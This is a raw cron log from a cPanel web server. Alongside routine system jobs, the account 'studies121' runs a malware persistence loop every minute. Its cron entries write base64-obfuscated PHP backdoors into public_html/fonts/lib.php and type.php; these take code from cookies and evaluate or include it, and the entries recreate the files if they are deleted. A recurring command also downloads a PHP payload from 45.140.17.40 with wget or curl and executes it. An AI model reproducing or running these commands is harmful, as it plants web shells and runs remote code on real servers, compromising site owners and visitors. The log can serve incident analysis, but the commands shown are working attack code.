Sep 22 18:58:01 ip-184-168-122-23 CROND[6009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:58:01 ip-184-168-122-23 CROND[6007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:58:01 ip-184-168-122-23 CROND[6008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:59:01 ip-184-168-122-23 CROND[6759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:59:01 ip-184-168-122-23 CROND[6760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:59:01 ip-184-168-122-23 CROND[6761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:59:01 ip-184-168-122-23 CROND[6766]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:00:01 ip-184-168-122-23 CROND[8440]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 19:00:01 ip-184-168-122-23 CROND[8442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:00:01 ip-184-168-122-23 CROND[8443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:00:01 ip-184-168-122-23 CROND[8446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:00:01 ip-184-168-122-23 CROND[8449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:00:01 ip-184-168-122-23 CROND[8450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:00:01 ip-184-168-122-23 CROND[8452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:00:01 ip-184-168-122-23 CROND[8453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:01:01 ip-184-168-122-23 CROND[9729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:01:01 ip-184-168-122-23 CROND[9728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:01:01 ip-184-168-122-23 CROND[9731]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 19:01:01 ip-184-168-122-23 CROND[9734]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 19:01:01 ip-184-168-122-23 CROND[9737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:01:01 ip-184-168-122-23 CROND[9735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9731]: starting 0anacron
Sep 22 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9750]: finished 0anacron
Sep 22 19:02:01 ip-184-168-122-23 CROND[10647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:02:01 ip-184-168-122-23 CROND[10650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:02:01 ip-184-168-122-23 CROND[10651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:02:01 ip-184-168-122-23 CROND[10654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:02:01 ip-184-168-122-23 CROND[10653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:03:01 ip-184-168-122-23 CROND[11312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:03:01 ip-184-168-122-23 CROND[11313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:03:01 ip-184-168-122-23 CROND[11318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:03:01 ip-184-168-122-23 CROND[11316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:04:01 ip-184-168-122-23 CROND[12152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:04:01 ip-184-168-122-23 CROND[12154]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:04:01 ip-184-168-122-23 CROND[12155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:04:01 ip-184-168-122-23 CROND[12157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:04:01 ip-184-168-122-23 CROND[12159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:05:01 ip-184-168-122-23 CROND[13554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 19:05:01 ip-184-168-122-23 CROND[13555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:05:01 ip-184-168-122-23 CROND[13559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:05:01 ip-184-168-122-23 CROND[13560]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 19:05:01 ip-184-168-122-23 CROND[13563]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:05:01 ip-184-168-122-23 CROND[13561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:05:01 ip-184-168-122-23 CROND[13562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 19:06:01 ip-184-168-122-23 CROND[14403]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:06:01 ip-184-168-122-23 CROND[14405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:06:01 ip-184-168-122-23 CROND[14406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:06:01 ip-184-168-122-23 CROND[14407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:06:01 ip-184-168-122-23 CROND[14408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:07:01 ip-184-168-122-23 CROND[16110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:07:01 ip-184-168-122-23 CROND[16112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:07:01 ip-184-168-122-23 CROND[16115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:07:01 ip-184-168-122-23 CROND[16117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:08:01 ip-184-168-122-23 CROND[17244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:08:01 ip-184-168-122-23 CROND[17246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:08:01 ip-184-168-122-23 CROND[17247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:08:01 ip-184-168-122-23 CROND[17249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:08:01 ip-184-168-122-23 CROND[17251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:09:01 ip-184-168-122-23 CROND[18447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 19:09:01 ip-184-168-122-23 CROND[18448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:09:01 ip-184-168-122-23 CROND[18449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:09:01 ip-184-168-122-23 CROND[18451]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 19:09:01 ip-184-168-122-23 CROND[18450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:10:01 ip-184-168-122-23 CROND[19584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
